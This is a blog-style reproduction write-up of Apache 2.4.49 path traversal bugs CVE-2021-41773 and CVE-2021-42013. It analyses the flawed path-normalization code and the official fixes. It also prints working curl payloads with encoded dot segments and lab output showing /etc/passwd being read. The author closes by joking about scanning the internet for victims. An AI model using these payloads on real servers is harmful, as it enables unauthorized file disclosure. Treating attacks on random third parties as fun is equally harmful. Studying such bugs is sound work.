CVE-2021-41773 && CVE-2021-42013拆解复现

CVE-2021-41773 && CVE-2021-42013

参考了这个师傅的WP https://www.jianshu.com/p/3076d9ec68cf

CVE-2021-41773

漏洞成因

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径做过滤的时候没有过滤干净。

ap_normalize_path函数如下

/*
 * Inspired by mod_jk's jk_servlet_normalize().
 */
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
    int ret = 1;
    apr_size_t l = 1, w = 1;

    if (!IS_SLASH(path[0])) {
        /* Besides "OPTIONS *", a request-target should start with '/'
         * per RFC 7230 section 5.3, so anything else is invalid.
         */
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
         * this restriction (e.g. for subrequest file lookups).
         */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }

        l = w = 0;
    }

    // 遍历路径字符串,一边做url解码一边检测 '..',出现漏洞。
    while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        // 这一段是在做URL解码
        // 检测到当前位为‘%’,接下来两位为十六进制数字就进入if
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]); // 将url编码转换为字符(16进制转char)
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }

        if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
            do {
                l++;
            } while (!IS_SLASH_OR_NUL(path[l]));
            continue;
        }

        // 如果path[0]不是斜杠,且不是* 或者空串,w就会置为0。
        // 如果w = 0 或者 paht[0]是斜杠,就进入循环。
        if (w == 0 || IS_SLASH(path[w - 1])) {
            /* Collapse ///// sequences to / */
            //跳过连续的斜杠
            if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
                do {
                    l++;
                } while (IS_SLASH(path[l]));
                continue;
            }
            //如果检测到点号
            if (path[l] == '.') {
                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

                /* Remove /xx/../ segments */
                // 如果点号的下一个还是点号,就要删一点了
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }

                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
            }
        }

        path[w++] = path[l++];
    }
    path[w] = '\0';

    return ret;
}

可以看到,漏洞的产生原因是其遍历一整个路径字符串,对每一位,先进行url解码,然后检测是不是当前位和下一位的组合是不是两个点..
他能检测出的情况如下

..
%2e.    // 正在处理第一位,解码后发现是..组合

然而如果遇到这种情况

.%2e    // 解码第一位,仍然是.%2e,没有检测到..组合
%2e%2e  // 解码第一位,解成.%2e,仍然无法检测到..组合

payload

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
// 这里可以使用.%2e也可以使用%2e%2e


C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd        *   Trying 10.10.10.131:8080...                                                                                         * Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)                                                               > GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1                                                     > Host: 10.10.10.131:8080                                                                                               > User-Agent: curl/7.79.1                                                                                               > Accept: */*                                                                                                           >                                                                                                                       * Mark bundle as not supporting multiuse                                                                                < HTTP/1.1 200 OK                                                                                                       < Date: Thu, 17 Mar 2022 01:56:25 GMT                                                                                   < Server: Apache/2.4.49 (Debian)                                                                                        < Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT                                                                          < ETag: "39a-5d908bac52000"                                                                                             < Accept-Ranges: bytes                                                                                                  < Content-Length: 922                                                                                                   <                                                                                                                       root:x:0:0:root:/root:/bin/bash                                                                                         daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                         bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                                                    sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                                                    sync:x:4:65534:sync:/bin:/bin/sync                                                                                      games:x:5:60:games:/usr/games:/usr/sbin/nologin                                                                         man:x:6:12:man:/var/cache/man:/usr/sbin/nologin                                                                         lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin                                                                            mail:x:8:8:mail:/var/mail:/usr/sbin/nologin                                                                             news:x:9:9:news:/var/spool/news:/usr/sbin/nologin                                                                       uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin                                                                     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                                                                              www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                                                                    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin                                                                    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin                                                           irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin                                                                            gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin                                       nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin                                                              _apt:x:100:65534::/nonexistent:/usr/sbin/nologin                                                                        * Connection #0 to host 10.10.10.131 left intact                                                                                                                                                                                                C:\Users\19300>   

修复

这里如果遍历两次字符串,先整体url解码,全部解码完了再进行敏感字符串检测就可以规避这个漏洞。这里原函数为了追求效率,在一遍遍历中对每个字符串解码再检测,反而出现了漏洞,可谓是得不偿失。
官方修复如下,直接是对这个情况做了一个特例处理。。俺没有开发经验,不敢乱说。

/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
                    && path[n] == '%'
                    && path[++n] == '2'
                    && (path[++n] == 'e'
                        || path[n] == 'E')))
    && IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
    do {
        w--;
    } while (w && !IS_SLASH(path[w - 1]));
}
else {
    /* Already at root, ignore and return a failure
        * if asked to.
        */
    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
        ret = 0;
    }
}

/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
    l++;
}
continue;
}

CVE-2021-42013

Apache使用函数 ap_process_request_internal来处理外部请求

AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    .....

    //调用 ap_normalize_path ,先对字符串进行解码。
    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

    .....

    // 再调用 ap_unescape_url,对字符串解码过滤。
    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

        .....

    }

    .....

开发为了保险起见,反复解码过滤,但是这反而弄巧成拙,造成二次编码注入。

%32e --> %2e --> .

%32 = 2
%2e = .

Payload

curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd


C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
*   Trying 10.10.10.131:8080...
* Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)
> GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
> Host: 10.10.10.131:8080
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Mar 2022 05:09:50 GMT
< Server: Apache/2.4.49 (Debian)
< Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT
< ETag: "39a-5d908bac52000"
< Accept-Ranges: bytes
< Content-Length: 922
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.10.10.131 left intact

修复

2.4.51版本中采用了白名单的机制,在ap_normalize_path中加强了对url编码的校验,只允许数字、字母及特定的符号编码,如果是白名单以外的url编码,就直接报错,不继续搞了

while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        //就只允许上面注释写到的内容,如果存在这以外的内容,就直接报错。
        if (decode_unreserved && path[l] == '%') {
            if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
                const char c = x2c(&path[l + 1]);
                if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                    /* Replace last char and fall through as the current
                     * read position */
                    l += 2;
                    path[l] = c;
                }
            }
            else {
                /* Invalid encoding */
                ret = 0;
            }
        }

心得

这是我第一次复现CVE漏洞,对我还是有一些难度的,但后来查了下,发现有别人复现拆解过的文章,学习了他们的文章,我分析起来难度大大减小了,感觉很不错,很有成就感。(准备网络测绘找几个倒霉蛋试试 :-)

posted @ 2022-03-17 13:19  AikNr  阅读(599)  评论(0编辑  收藏  举报